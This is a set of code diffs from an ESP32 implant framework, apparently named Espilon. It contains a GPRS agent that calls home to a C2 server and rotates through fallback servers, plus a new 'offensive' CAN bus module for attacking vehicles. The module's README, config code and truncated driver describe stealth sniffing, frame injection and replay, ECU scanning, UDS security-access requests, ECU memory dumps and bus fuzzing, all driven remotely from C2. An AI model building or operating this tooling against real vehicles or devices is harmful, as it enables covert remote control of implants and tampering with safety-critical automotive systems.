fb_c2_addr_t addrs[CONFIG_FB_MAX_C2_FALLBACKS];
int count = fb_config_c2_list(addrs, CONFIG_FB_MAX_C2_FALLBACKS);
for (int i = 0; i < count; i++) {
char ip_buf[48];
int port = CONFIG_SERVER_PORT;
strncpy(ip_buf, addrs[i].addr, sizeof(ip_buf) - 1);
ip_buf[sizeof(ip_buf) - 1] = '\0';
char *colon = strrchr(ip_buf, ':');
if (colon) {
*colon = '\0';
port = atoi(colon + 1);
if (port <= 0 || port > 65535) port = CONFIG_SERVER_PORT;
}
ESP_LOGI(TAG, "Trying C2 fallback: %s:%d", ip_buf, port);
close_tcp_connection();
if (connect_tcp_to(ip_buf, port)) {
ESP_LOGI(TAG, "C2 fallback %s:%d connected", ip_buf, port);
return true;
}
}
return false;
}
#endif /* CONFIG_MODULE_FALLBACK */
void gprs_client_task(void *pvParameters)
{
ESP_LOGI(TAG, "GPRS client task started");
int tcp_fail_count = 0;
#ifdef CONFIG_FB_WIFI_FALLBACK
int gprs_dead_count = 0;
#endif
while (1) {
#ifdef CONFIG_MODULE_FALLBACK
/* If fallback hunt is active, wait for it to finish */
while (fb_active) {
vTaskDelay(pdMS_TO_TICKS(1000));
}
#endif
/* GPRS attach */
if (!connect_gprs()) {
ESP_LOGE(TAG, "GPRS connection failed");
#ifdef CONFIG_FB_WIFI_FALLBACK
gprs_dead_count++;
ESP_LOGW(TAG, "GPRS dead count: %d/%d",
gprs_dead_count, CONFIG_FB_GPRS_FAIL_THRESHOLD);
if (gprs_dead_count >= CONFIG_FB_GPRS_FAIL_THRESHOLD) {
ESP_LOGW(TAG, "GPRS dead — triggering WiFi fallback hunt");
fb_hunt_set_skip_gprs(true);
fb_hunt_trigger();
gprs_dead_count = 0;
continue;
}
#endif
setup_modem();
vTaskDelay(pdMS_TO_TICKS(5000));
continue;
}
#ifdef CONFIG_FB_WIFI_FALLBACK
gprs_dead_count = 0;
#endif
/* TCP connect to C2 */
if (!connect_tcp()) {
tcp_fail_count++;
ESP_LOGW(TAG, "TCP connect failed (%d consecutive)", tcp_fail_count);
#ifdef CONFIG_MODULE_FALLBACK
if (tcp_fail_count >= CONFIG_FB_TCP_FAIL_THRESHOLD) {
/* Level 1: try NVS C2 fallback addresses over GPRS */
if (try_gprs_fallback_c2s()) {
tcp_fail_count = 0;
goto handshake;
}
/* Modem restart */
ESP_LOGW(TAG, "All C2 unreachable — modem restart");
close_tcp_connection();
setup_modem();
tcp_fail_count = 0;
}
#endif
vTaskDelay(pdMS_TO_TICKS(5000));
continue;
}
tcp_fail_count = 0;
#ifdef CONFIG_MODULE_FALLBACK
handshake:
#endif
/* Handshake */
msg_info(TAG, CONFIG_DEVICE_ID, NULL);
ESP_LOGI(TAG, "Handshake sent");
while (1) {
gprs_rx_poll();
vTaskDelay(pdMS_TO_TICKS(10));
}
}
}
#endif /* CONFIG_NETWORK_GPRS */
#endif /* CONFIG_NETWORK_GPRS || CONFIG_FB_GPRS_FALLBACK */

View File

@ -38,7 +38,13 @@ extern SemaphoreHandle_t sock_mutex;
while (len > 0) {
int sent = lwip_write(current_sock, p, len);
if (sent <= 0) {
ESP_LOGE(TAG, "lwip_write failed");
ESP_LOGE(TAG, "lwip_write failed, disconnecting");
xSemaphoreTake(sock_mutex, portMAX_DELAY);
if (sock == current_sock) {
lwip_close(sock);
sock = -1;
}
xSemaphoreGive(sock_mutex);
return false;
}
p += sent;

View File

@ -23,7 +23,7 @@ typedef struct _c2_Command {
char device_id[64];
char command_name[32];
pb_size_t argv_count;
char argv[8][64];
char argv[8][256];
char request_id[64];
} c2_Command;
@ -98,7 +98,7 @@ extern const pb_msgdesc_t c2_AgentMessage_msg;
/* Maximum encoded size of messages (where known) */
#define C2_PROTO_C2_PB_H_MAX_SIZE c2_Command_size
#define c2_AgentMessage_size 426
#define c2_Command_size 683
#define c2_Command_size 2227
#ifdef __cplusplus
} /* extern "C" */

View File

@ -1,7 +1,6 @@
#include <string.h>
#include "c2.pb.h"
#include "command.h"
#include "utils.h"
#include "esp_log.h"

View File

@ -13,6 +13,7 @@ extern "C" {
#include "sdkconfig.h"
#include "esp_log.h"
#include "esp_err.h"
/* >>> CRITIQUE <<< */
#include "c2.pb.h" /* c2_Command, c2_AgentMsgType */
@ -149,42 +150,89 @@ void process_command_from_buffer(
size_t len
);
/* ============================================================
* COMMAND REGISTRY & DISPATCH
* ============================================================ */
#define MAX_COMMANDS 72
#define MAX_ASYNC_ARGS 8
#define MAX_ASYNC_ARG_LEN 64
typedef esp_err_t (*command_handler_t)(
int argc,
char **argv,
const char *request_id,
void *ctx
);
typedef struct {
const char *name;
const char *sub;
const char *help;
int min_args;
int max_args;
command_handler_t handler;
void *ctx;
bool async;
} command_t;
void command_register(const command_t *cmd);
void command_log_registry_summary(void);
void command_process_pb(const c2_Command *cmd);
void command_async_init(void);
void command_async_enqueue(const command_t *cmd, const c2_Command *pb_cmd, int argv_offset);
/* ============================================================
* WIFI
* ============================================================ */
#ifdef CONFIG_NETWORK_WIFI
void wifi_init(void);
void tcp_client_task(void *pvParameters);
void wifi_pause_reconnect(void);
void wifi_resume_reconnect(void);
#endif
/* Fallback: when true, WiFi.c skips its own reconnect logic */
#include <stdatomic.h>
extern atomic_bool fb_active;
/* FakeAP: when true, WiFi.c skips reconnect to avoid interference */
#ifdef CONFIG_MODULE_FAKEAP
extern atomic_bool fakeap_active;
#endif
/* ============================================================
* GPRS
* ============================================================ */
#ifdef CONFIG_NETWORK_GPRS
#if defined(CONFIG_NETWORK_GPRS) || defined(CONFIG_FB_GPRS_FALLBACK)
#define BUFF_SIZE 1024
#define UART_NUM UART_NUM_1
#define TXD_PIN 27
#define RXD_PIN 26
#define PWR_KEY 4
#define PWR_EN 23
#define RESET 5
#define LED_GPIO 13
#define TXD_PIN CONFIG_GPRS_TXD_PIN
#define RXD_PIN CONFIG_GPRS_RXD_PIN
#define PWR_KEY CONFIG_GPRS_PWR_KEY
#define PWR_EN CONFIG_GPRS_PWR_EN
#define RESET CONFIG_GPRS_RESET_PIN
#define LED_GPIO CONFIG_GPRS_LED_GPIO
void setup_uart(void);
void setup_modem(void);
bool connect_gprs(void);
bool connect_tcp(void);
bool connect_tcp_to(const char *ip, int port);
bool gprs_send(const void *buf, size_t len);
void gprs_rx_poll(void);
void close_tcp_connection(void);
void gprs_client_task(void *pvParameters);
void send_at_command(const char *cmd);
#endif
#ifdef CONFIG_NETWORK_GPRS
void gprs_client_task(void *pvParameters);
#endif
#ifdef __cplusplus
}

View File

@ -0,0 +1,27 @@
set(CANBUS_SRCS
cmd_canbus.c
canbus_driver.c
canbus_config.c
)
if(CONFIG_CANBUS_ISO_TP)
list(APPEND CANBUS_SRCS canbus_isotp.c)
endif()
if(CONFIG_CANBUS_UDS)
list(APPEND CANBUS_SRCS canbus_uds.c)
endif()
if(CONFIG_CANBUS_OBD)
list(APPEND CANBUS_SRCS canbus_obd.c)
endif()
if(CONFIG_CANBUS_FUZZ)
list(APPEND CANBUS_SRCS canbus_fuzz.c)
endif()
idf_component_register(
SRCS ${CANBUS_SRCS}
INCLUDE_DIRS .
REQUIRES core nvs_flash freertos driver
)

View File

@ -0,0 +1,341 @@
# CAN Bus Module (mod_canbus)
Automotive CAN bus offensive module for Espilon, built on the **MCP2515** SPI controller. Supports passive sniffing, frame injection, ISO-TP transport, UDS diagnostics, OBD-II decoding, fuzzing, and replay.
> **Authorization required**: CAN bus interaction with vehicles must be performed only on owned hardware or with explicit written authorization. Unauthorized access to vehicle networks is illegal.
---
## Table of Contents
- [Hardware Requirements](#hardware-requirements)
- [Wiring](#wiring)
- [Configuration](#configuration)
- [Architecture](#architecture)
- [Commands Reference](#commands-reference)
- [Core Commands](#core-commands)
- [UDS Diagnostic Commands](#uds-diagnostic-commands)
- [OBD-II Commands](#obd-ii-commands)
- [Fuzzing Commands](#fuzzing-commands)
- [Frame Format](#frame-format)
- [C3PO Integration](#c3po-integration)
- [Usage Examples](#usage-examples)
- [Troubleshooting](#troubleshooting)
---
## Hardware Requirements
| Component | Role | Cost |
|-----------|------|------|
| **MCP2515 module** | CAN 2.0B controller + TJA1050 transceiver | ~3 EUR |
| **ESP32** | Main MCU (any variant with SPI) | ~5 EUR |
Most MCP2515 modules sold online already integrate the TJA1050 CAN transceiver. Check the oscillator crystal on your module — common values are **8 MHz** and **16 MHz** (must match Kconfig `CANBUS_OSC_MHZ`).
---
## Wiring
Default GPIO mapping (configurable via `idf.py menuconfig`):
```
MCP2515 Module ESP32 (VSPI)
────────────── ────────────
VCC → 3.3V
GND → GND
CS → GPIO 5
MOSI (SI) → GPIO 23
MISO (SO) → GPIO 19
SCK → GPIO 18
INT → GPIO 4 (active low)
```
Connect **CAN_H** and **CAN_L** on the MCP2515 module to the target CAN bus. For OBD-II: pin 6 (CAN_H) and pin 14 (CAN_L).
---
## Configuration
Enable the module in `idf.py menuconfig` under **Modules > CAN Bus Module (MCP2515)**.
### Kconfig Options
| Option | Default | Description |
|--------|---------|-------------|
| `CONFIG_MODULE_CANBUS` | n | Enable the CAN bus module |
| `CANBUS_SPI_HOST` | 3 (VSPI) | SPI host: 2=HSPI, 3=VSPI |
| `CANBUS_PIN_MOSI` | 23 | SPI MOSI GPIO |
| `CANBUS_PIN_MISO` | 19 | SPI MISO GPIO |
| `CANBUS_PIN_SCK` | 18 | SPI SCK GPIO |
| `CANBUS_PIN_CS` | 5 | SPI Chip Select GPIO |
| `CANBUS_PIN_INT` | 4 | MCP2515 interrupt GPIO (active low) |
| `CANBUS_OSC_MHZ` | 8 | Oscillator frequency on MCP2515 module |
| `CANBUS_DEFAULT_BITRATE` | 500000 | Default bus speed (bps) |
| `CANBUS_SPI_CLOCK_HZ` | 10000000 | SPI clock (max 10 MHz) |
| `CANBUS_RECORD_BUFFER` | 512 | Frame ring buffer size (64-2048) |
| `CANBUS_ISO_TP` | y | ISO-TP transport layer (required for UDS/OBD) |
| `CANBUS_UDS` | y | UDS diagnostic services (requires ISO-TP) |
| `CANBUS_OBD` | y | OBD-II PID decoder (requires ISO-TP) |
| `CANBUS_FUZZ` | y | CAN fuzzing engine |
### Supported Bitrates
| Bitrate | Use Case | 8 MHz | 16 MHz |
|---------|----------|-------|--------|
| 1 Mbps | High-speed CAN | - | Yes |
| 500 kbps | Standard automotive | Yes | Yes |
| 250 kbps | J1939 (trucks) | Yes | Yes |
| 125 kbps | Low-speed CAN | Yes | Yes |
| 100 kbps | Diagnostic | Yes | Yes |
---
## Architecture
```
┌─────────────────────────────────────────────────────┐
│ cmd_canbus.c — C2 command handlers (27 cmds)│
│ ↕ │
│ canbus_uds.c — UDS (ISO 14229) services │
│ canbus_obd.c — OBD-II PID decoder │
│ canbus_fuzz.c — Fuzzing engine │
│ ↕ │
│ canbus_isotp.c — ISO-TP (ISO 15765-2) │
│ ↕ │
│ canbus_driver.c — MCP2515 SPI driver + RX task │
│ ↕ │
│ canbus_config.c — NVS persistence │
│ ↕ │
│ ESP-IDF SPI Master — Hardware SPI bus │
└─────────────────────────────────────────────────────┘
```
### File Manifest
| File | Lines | Layer |
|------|-------|-------|
| `canbus_driver.c/.h` | ~920 | MCP2515 SPI + RX/TX + ISR |
| `canbus_isotp.c/.h` | ~480 | Multi-frame CAN transport |
| `canbus_uds.c/.h` | ~440 | Automotive diagnostics |
| `canbus_obd.c/.h` | ~390 | OBD-II PID decode |
| `canbus_fuzz.c/.h` | ~390 | Fuzz testing engine |
| `canbus_config.c/.h` | ~360 | NVS persistence |
| `cmd_canbus.c/.h` | ~1360 | Command handlers + registration |
| **Total** | **~4350** | |
### NVS Persistence
Namespace: `"can_cfg"`
| Key | Type | Content |
|-----|------|---------|
| `bitrate` | i32 | Saved CAN speed |
| `osc_mhz` | u8 | Oscillator frequency |
| `sw_filters` | blob | Up to 16 software filter IDs |
| `ecus` | blob | Discovered UDS ECU IDs |
---
## Commands Reference
### Core Commands
| Command | Args | Async | Description |
|---------|------|-------|-------------|
| `can_start [bitrate] [mode]` | 0-2 | No | Init MCP2515, start bus. Mode: `normal` (default), `listen`, `loopback` |
| `can_stop` | 0 | No | Stop bus, set MCP2515 to config mode |
| `can_send <id_hex> <data_hex>` | 2 | No | Send a single frame. Ex: `can_send 0x7DF 0201000000000000` |
| `can_filter_add <id_hex>` | 1 | No | Add software filter (pass only matching IDs) |
| `can_filter_del <id_hex>` | 1 | No | Remove a software filter |
| `can_filter_list` | 0 | No | List active software filters |
| `can_filter_clear` | 0 | No | Clear all filters (accept everything) |
| `can_status` | 0 | No | Show bus state, config, RX/TX counters, error counters |
| `can_sniff [duration_s]` | 0-1 | **Yes** | Stream frames to C2 for N seconds (default: 10) |
| `can_record [duration_s]` | 0-1 | **Yes** | Record to local ring buffer for N seconds (default: 10) |
| `can_dump` | 0 | **Yes** | Send recorded buffer to C2 |
| `can_replay [speed_pct]` | 0-1 | **Yes** | Replay recorded buffer. 100=real-time, 0=max speed |
### UDS Diagnostic Commands
*Requires `CONFIG_CANBUS_UDS=y` (depends on ISO-TP)*
| Command | Args | Async | Description |
|---------|------|-------|-------------|
| `can_scan_ecu` | 0 | **Yes** | Discover ECUs: scans 0x7E0-0x7E7, 0x700-0x7DF |
| `can_uds <tx_id> <service_hex> [data_hex]` | 2-3 | **Yes** | Raw UDS request |
| `can_uds_session <tx_id> <type>` | 2 | No | DiagnosticSessionControl (1=default, 2=prog, 3=extended) |
| `can_uds_read <tx_id> <did_hex>` | 2 | **Yes** | ReadDataByIdentifier |
| `can_uds_dump <tx_id> <addr_hex> <size>` | 3 | **Yes** | ReadMemoryByAddress (streamed) |
| `can_uds_auth <tx_id> [level]` | 1-2 | **Yes** | SecurityAccess seed request |
### OBD-II Commands
*Requires `CONFIG_CANBUS_OBD=y` (depends on ISO-TP)*
| Command | Args | Async | Description |
|---------|------|-------|-------------|
| `can_obd <pid_hex>` | 1 | **Yes** | Query single PID, returns decoded value |
| `can_obd_vin` | 0 | **Yes** | Read Vehicle Identification Number |
| `can_obd_dtc` | 0 | **Yes** | Read Diagnostic Trouble Codes |
| `can_obd_supported` | 0 | **Yes** | List supported PIDs |
| `can_obd_monitor <pids> [interval_ms]` | 1-2 | **Yes** | Stream PIDs to C2 continuously |
| `can_obd_monitor_stop` | 0 | No | Stop monitoring |
### Fuzzing Commands
*Requires `CONFIG_CANBUS_FUZZ=y`*
| Command | Args | Async | Description |
|---------|------|-------|-------------|
| `can_fuzz_id [start] [end] [delay_ms]` | 0-3 | **Yes** | Iterate all CAN IDs with fixed payload |
| `can_fuzz_data <id_hex> [seed_hex] [delay_ms]` | 1-3 | **Yes** | Mutate data bytes for fixed ID |
| `can_fuzz_random [delay_ms] [count]` | 0-2 | **Yes** | Random ID + random data |
| `can_fuzz_stop` | 0 | No | Stop fuzzing |
---
## Frame Format
Frames streamed to C2 use the format:
```
CAN|<timestamp_ms>|<id_hex>|<dlc>|<data_hex>
```
**Example:**
```
CAN|1708000123456|0x123|8|DEADBEEF01020304
```
### Special Markers
| Marker | Meaning |
|--------|---------|
| `SNIFF_END` | End of sniff session |
| `DUMP_START\|<count>` | Beginning of frame dump |
| `DUMP_END` | End of frame dump |
| `UDS_RSP\|<rx_id>\|<hex>` | UDS response |
| `MEM_DUMP\|<addr>\|<size>` | Start of memory dump |
| `MEM\|<addr>\|<hex_data>` | Memory block |
| `MEM_DUMP_END` | End of memory dump |
| `ECU\|<tx_id>\|<rx_id>` | Discovered ECU |
---
## C3PO Integration
### REST API
CAN frames received from agents are stored in a server-side ring buffer (10,000 frames max).
| Endpoint | Method | Description |
|----------|--------|-------------|
| `/api/can/frames` | GET | List frames. Params: `device_id`, `can_id`, `limit`, `offset` |
| `/api/can/stats` | GET | Frame stats. Params: `device_id` |
| `/api/can/frames/export` | GET | Download CSV. Params: `device_id` |
### TUI Commands
From the C3PO interactive TUI:
```
can stats [device_id] — Frame count, unique CAN IDs
can frames [device_id] [limit] — Display last N frames
can clear — Clear frame store
```
### Transport Integration
CAN frames arrive via `AGENT_DATA` messages with the `CAN|` prefix. The transport layer automatically parses and stores them in `CanStore`.
---
## Usage Examples
### Basic Sniffing (Listen-Only)
```
> can_start 500000 listen # Start in stealth mode (no ACK on bus)
> can_sniff 30 # Stream frames for 30 seconds
> can_stop
```
### Record and Replay
```
> can_start 500000 listen
> can_record 60 # Record for 60 seconds
> can_stop
> can_start 500000 normal # Switch to normal mode for TX
> can_replay 100 # Replay at real-time speed
```
### OBD-II Vehicle Diagnostics
```
> can_start 500000 # Standard automotive bitrate
> can_obd_supported # List what the car supports
> can_obd 0C # Engine RPM
> can_obd 0D # Vehicle speed (km/h)
> can_obd_vin # VIN number
> can_obd_dtc # Read trouble codes
> can_obd_monitor 0C,0D 500 # Stream RPM + speed every 500ms
```
### UDS ECU Exploration
```
> can_start 500000
> can_scan_ecu # Find ECUs on bus
> can_uds_session 0x7E0 3 # Extended session on ECU 0x7E0
> can_uds_read 0x7E0 F190 # Read VIN via DID
> can_uds_read 0x7E0 F191 # Hardware version
> can_uds_auth 0x7E0 1 # SecurityAccess level 1
> can_uds_dump 0x7E0 0x00000000 4096 # Dump 4KB from address 0
```
### Fuzzing (Isolated Bus Only!)
```
> can_start 500000
> can_fuzz_id 0x000 0x7FF 10 # Scan all standard IDs, 10ms delay
> can_fuzz_data 0x7E0 0000000000000000 5 # Mutate bytes on ECU ID
> can_fuzz_stop
```
---
## Troubleshooting
### MCP2515 not detected
- Verify wiring (CS, MOSI, MISO, SCK)
- Check `CANBUS_OSC_MHZ` matches the crystal on your module (8 vs 16 MHz)
- Try `can_start 500000 loopback` — if loopback works, wiring to the bus is the issue
### No frames received
- Confirm bus speed matches the target (500k for cars, 250k for trucks)
- Try `listen` mode first: `can_start 500000 listen`
- Check CAN_H / CAN_L connections and termination (120 ohm)
- Use `can_status` to check error counters — high RX errors indicate speed mismatch
### Bus-off state
- TEC exceeded 255 — the MCP2515 disconnected from the bus
- `can_stop` then `can_start` to reset
- Check for wiring issues or speed mismatch
### RX overflow
- Bus traffic exceeds processing speed
- Reduce bus load or add hardware filters: `can_filter_add <id>`
- Increase `CANBUS_RECORD_BUFFER` in menuconfig
### SPI communication errors
- Reduce `CANBUS_SPI_CLOCK_HZ` (try 8000000 or 4000000)
- Check for long wires or loose connections
- Ensure no other device shares the SPI bus

View File

@ -0,0 +1,319 @@
/*
* canbus_config.c
* NVS-backed persistent config for CAN bus module.
*/
#include "sdkconfig.h"
#ifdef CONFIG_MODULE_CANBUS
#include <stdio.h>
#include <string.h>
#include "esp_log.h"
#include "nvs_flash.h"
#include "nvs.h"
#include "canbus_config.h"
#define TAG "CAN_CFG"
#define NVS_NS "can_cfg"
/* NVS keys */
#define KEY_BITRATE "bitrate"
#define KEY_OSC_MHZ "osc_mhz"
#define KEY_FILTERS "sw_filters"
#define KEY_FILTER_CNT "sw_filt_cnt"
#define KEY_ECUS "ecus"
#define KEY_ECU_CNT "ecu_cnt"
/* ============================================================
* Init
* ============================================================ */
void can_config_init(void)
{
nvs_handle_t h;
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
if (err == ESP_OK) {
nvs_close(h);
ESP_LOGI(TAG, "NVS namespace '%s' ready", NVS_NS);
} else {
ESP_LOGW(TAG, "NVS open failed: %s", esp_err_to_name(err));
}
}
/* ============================================================
* Bitrate
* ============================================================ */
int can_config_get_bitrate(void)
{
nvs_handle_t h;
int32_t val = CONFIG_CANBUS_DEFAULT_BITRATE;
if (nvs_open(NVS_NS, NVS_READONLY, &h) == ESP_OK) {
nvs_get_i32(h, KEY_BITRATE, &val);
nvs_close(h);
}
return (int)val;
}
esp_err_t can_config_set_bitrate(int bitrate)
{
nvs_handle_t h;
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
if (err != ESP_OK) return err;
err = nvs_set_i32(h, KEY_BITRATE, bitrate);
if (err == ESP_OK) err = nvs_commit(h);
nvs_close(h);
return err;
}
/* ============================================================
* Oscillator
* ============================================================ */
uint8_t can_config_get_osc_mhz(void)
{
nvs_handle_t h;
uint8_t val = CONFIG_CANBUS_OSC_MHZ;
if (nvs_open(NVS_NS, NVS_READONLY, &h) == ESP_OK) {
nvs_get_u8(h, KEY_OSC_MHZ, &val);
nvs_close(h);
}
return val;
}
esp_err_t can_config_set_osc_mhz(uint8_t mhz)
{
nvs_handle_t h;
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
if (err != ESP_OK) return err;
err = nvs_set_u8(h, KEY_OSC_MHZ, mhz);
if (err == ESP_OK) err = nvs_commit(h);
nvs_close(h);
return err;
}
/* ============================================================
* Software Filters (stored as blob of uint32_t array)
* ============================================================ */
int can_config_get_filters(uint32_t *ids_out, int max_ids)
{
nvs_handle_t h;
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK) return 0;
uint8_t cnt = 0;
nvs_get_u8(h, KEY_FILTER_CNT, &cnt);
if (cnt == 0 || !ids_out) { nvs_close(h); return 0; }
if (cnt > max_ids) cnt = max_ids;
size_t len = cnt * sizeof(uint32_t);
nvs_get_blob(h, KEY_FILTERS, ids_out, &len);
nvs_close(h);
return (int)cnt;
}
static esp_err_t save_filters(nvs_handle_t h, const uint32_t *ids, uint8_t cnt)
{
esp_err_t err = nvs_set_u8(h, KEY_FILTER_CNT, cnt);
if (err != ESP_OK) return err;
if (cnt > 0) {
err = nvs_set_blob(h, KEY_FILTERS, ids, cnt * sizeof(uint32_t));
} else {
nvs_erase_key(h, KEY_FILTERS);
}
if (err == ESP_OK) err = nvs_commit(h);
return err;
}
esp_err_t can_config_add_filter(uint32_t id)
{
nvs_handle_t h;
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
if (err != ESP_OK) return err;
uint32_t ids[CAN_CFG_MAX_SW_FILTERS] = { 0 };
uint8_t cnt = 0;
nvs_get_u8(h, KEY_FILTER_CNT, &cnt);
if (cnt > 0) {
size_t len = cnt * sizeof(uint32_t);
nvs_get_blob(h, KEY_FILTERS, ids, &len);
}
/* Check duplicate */
for (int i = 0; i < cnt; i++) {
if (ids[i] == id) { nvs_close(h); return ESP_OK; }
}
if (cnt >= CAN_CFG_MAX_SW_FILTERS) {
nvs_close(h);
return ESP_ERR_NO_MEM;
}
ids[cnt++] = id;
err = save_filters(h, ids, cnt);
nvs_close(h);
return err;
}
esp_err_t can_config_del_filter(uint32_t id)
{
nvs_handle_t h;
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
if (err != ESP_OK) return err;
uint32_t ids[CAN_CFG_MAX_SW_FILTERS] = { 0 };
uint8_t cnt = 0;
nvs_get_u8(h, KEY_FILTER_CNT, &cnt);
if (cnt > 0) {
size_t len = cnt * sizeof(uint32_t);
nvs_get_blob(h, KEY_FILTERS, ids, &len);
}
/* Find and remove */
bool found = false;
for (int i = 0; i < cnt; i++) {
if (ids[i] == id) {
memmove(&ids[i], &ids[i + 1], (cnt - i - 1) * sizeof(uint32_t));
cnt--;
found = true;
break;
}
}
if (found) {
err = save_filters(h, ids, cnt);
} else {
err = ESP_ERR_NOT_FOUND;
}
nvs_close(h);
return err;
}
esp_err_t can_config_clear_filters(void)
{
nvs_handle_t h;
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
if (err != ESP_OK) return err;
err = save_filters(h, NULL, 0);
nvs_close(h);
return err;
}
/* ============================================================
* ECU IDs (same pattern as filters)
* ============================================================ */
int can_config_get_ecus(uint32_t *ids_out, int max_ids)
{
nvs_handle_t h;
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK) return 0;
uint8_t cnt = 0;
nvs_get_u8(h, KEY_ECU_CNT, &cnt);
if (cnt == 0 || !ids_out) { nvs_close(h); return 0; }
if (cnt > max_ids) cnt = max_ids;
size_t len = cnt * sizeof(uint32_t);
nvs_get_blob(h, KEY_ECUS, ids_out, &len);
nvs_close(h);
return (int)cnt;
}
esp_err_t can_config_add_ecu(uint32_t id)
{
nvs_handle_t h;
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
if (err != ESP_OK) return err;
uint32_t ids[CAN_CFG_MAX_ECUS] = { 0 };
uint8_t cnt = 0;
nvs_get_u8(h, KEY_ECU_CNT, &cnt);
if (cnt > 0) {
size_t len = cnt * sizeof(uint32_t);
nvs_get_blob(h, KEY_ECUS, ids, &len);
}
for (int i = 0; i < cnt; i++) {
if (ids[i] == id) { nvs_close(h); return ESP_OK; }
}
if (cnt >= CAN_CFG_MAX_ECUS) {
nvs_close(h);
return ESP_ERR_NO_MEM;
}
ids[cnt++] = id;
err = nvs_set_u8(h, KEY_ECU_CNT, cnt);
if (err == ESP_OK) err = nvs_set_blob(h, KEY_ECUS, ids, cnt * sizeof(uint32_t));
if (err == ESP_OK) err = nvs_commit(h);
nvs_close(h);
return err;
}
esp_err_t can_config_clear_ecus(void)
{
nvs_handle_t h;
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
if (err != ESP_OK) return err;
nvs_set_u8(h, KEY_ECU_CNT, 0);
nvs_erase_key(h, KEY_ECUS);
err = nvs_commit(h);
nvs_close(h);
return err;
}
/* ============================================================
* Reset All
* ============================================================ */
esp_err_t can_config_reset_all(void)
{
nvs_handle_t h;
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
if (err != ESP_OK) return err;
err = nvs_erase_all(h);
if (err == ESP_OK) err = nvs_commit(h);
nvs_close(h);
ESP_LOGI(TAG, "Config reset to defaults");
return err;
}
/* ============================================================
* List (for status responses)
* ============================================================ */
int can_config_list(char *buf, size_t buf_len)
{
int off = 0;
off += snprintf(buf + off, buf_len - off,
"bitrate=%d\nosc_mhz=%u\n",
can_config_get_bitrate(),
can_config_get_osc_mhz());
/* Software filters */
uint32_t fids[CAN_CFG_MAX_SW_FILTERS];
int fcnt = can_config_get_filters(fids, CAN_CFG_MAX_SW_FILTERS);
off += snprintf(buf + off, buf_len - off, "sw_filters=%d:", fcnt);
for (int i = 0; i < fcnt && off < (int)buf_len - 8; i++) {
off += snprintf(buf + off, buf_len - off, " 0x%03lX", (unsigned long)fids[i]);
}
off += snprintf(buf + off, buf_len - off, "\n");
/* Discovered ECUs */
uint32_t eids[CAN_CFG_MAX_ECUS];
int ecnt = can_config_get_ecus(eids, CAN_CFG_MAX_ECUS);
off += snprintf(buf + off, buf_len - off, "ecus=%d:", ecnt);
for (int i = 0; i < ecnt && off < (int)buf_len - 8; i++) {
off += snprintf(buf + off, buf_len - off, " 0x%03lX", (unsigned long)eids[i]);
}
off += snprintf(buf + off, buf_len - off, "\n");
return off;
}
#endif /* CONFIG_MODULE_CANBUS */

View File

@ -0,0 +1,42 @@
/*
* canbus_config.h
* NVS-backed configuration for CAN bus module.
*
* Stores: bitrate, oscillator freq, software filters, discovered ECU IDs.
*/
#pragma once
#include "esp_err.h"
#include <stdint.h>
#include <stdbool.h>
#define CAN_CFG_MAX_SW_FILTERS 16
#define CAN_CFG_MAX_ECUS 16
/* Init NVS namespace (call once at module registration) */
void can_config_init(void);
/* Bitrate (persistent) */
int can_config_get_bitrate(void);
esp_err_t can_config_set_bitrate(int bitrate);
/* Oscillator frequency in MHz (persistent) */
uint8_t can_config_get_osc_mhz(void);
esp_err_t can_config_set_osc_mhz(uint8_t mhz);
/* Software filters — app-level ID whitelist (beyond MCP2515 6 HW filters) */
int can_config_get_filters(uint32_t *ids_out, int max_ids);
esp_err_t can_config_add_filter(uint32_t id);
esp_err_t can_config_del_filter(uint32_t id);
esp_err_t can_config_clear_filters(void);
/* Discovered ECU IDs (for UDS, persistent across reboots) */
int can_config_get_ecus(uint32_t *ids_out, int max_ids);
esp_err_t can_config_add_ecu(uint32_t id);
esp_err_t can_config_clear_ecus(void);
/* Reset all config to defaults */
esp_err_t can_config_reset_all(void);
/* List all config as formatted string (for status response) */
int can_config_list(char *buf, size_t buf_len);

View File

@ -0,0 +1,815 @@
/*
* canbus_driver.c
* MCP2515 CAN 2.0B controller driver via ESP-IDF SPI master.
*
* Architecture:
* GPIO ISR (INT pin, active low) binary semaphore RX task callback
* TX: direct SPI writes to TX buffer 0, poll for completion.
*/
#include "sdkconfig.h"
#ifdef CONFIG_MODULE_CANBUS
#include <string.h>
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "freertos/semphr.h"
#include "driver/spi_master.h"
#include "driver/gpio.h"
#include "esp_timer.h"
#include "esp_log.h"
#include "canbus_driver.h"
#define TAG "CAN_DRV"
/* ============================================================
* MCP2515 SPI Instructions
* ============================================================ */
#define MCP_RESET 0xC0
#define MCP_READ 0x03
#define MCP_WRITE 0x02
#define MCP_BIT_MODIFY 0x05
#define MCP_READ_STATUS 0xA0
#define MCP_RX_STATUS 0xB0
#define MCP_READ_RX0 0x90 /* Read RX buffer 0 starting at SIDH */
#define MCP_READ_RX1 0x94 /* Read RX buffer 1 starting at SIDH */
#define MCP_LOAD_TX0 0x40 /* Load TX buffer 0 starting at SIDH */
#define MCP_RTS_TX0 0x81 /* Request-To-Send TX buffer 0 */
/* ============================================================
* MCP2515 Registers
* ============================================================ */
#define MCP_CANCTRL 0x0F
#define MCP_CANSTAT 0x0E
#define MCP_CNF1 0x2A
#define MCP_CNF2 0x29
#define MCP_CNF3 0x28
#define MCP_CANINTE 0x2B
#define MCP_CANINTF 0x2C
#define MCP_EFLG 0x2D
#define MCP_TEC 0x1C
#define MCP_REC 0x1D
/* RXB0CTRL / RXB1CTRL */
#define MCP_RXB0CTRL 0x60
#define MCP_RXB1CTRL 0x70
/* Filter/mask registers */
#define MCP_RXF0SIDH 0x00
#define MCP_RXF1SIDH 0x04
#define MCP_RXF2SIDH 0x08
#define MCP_RXF3SIDH 0x10
#define MCP_RXF4SIDH 0x14
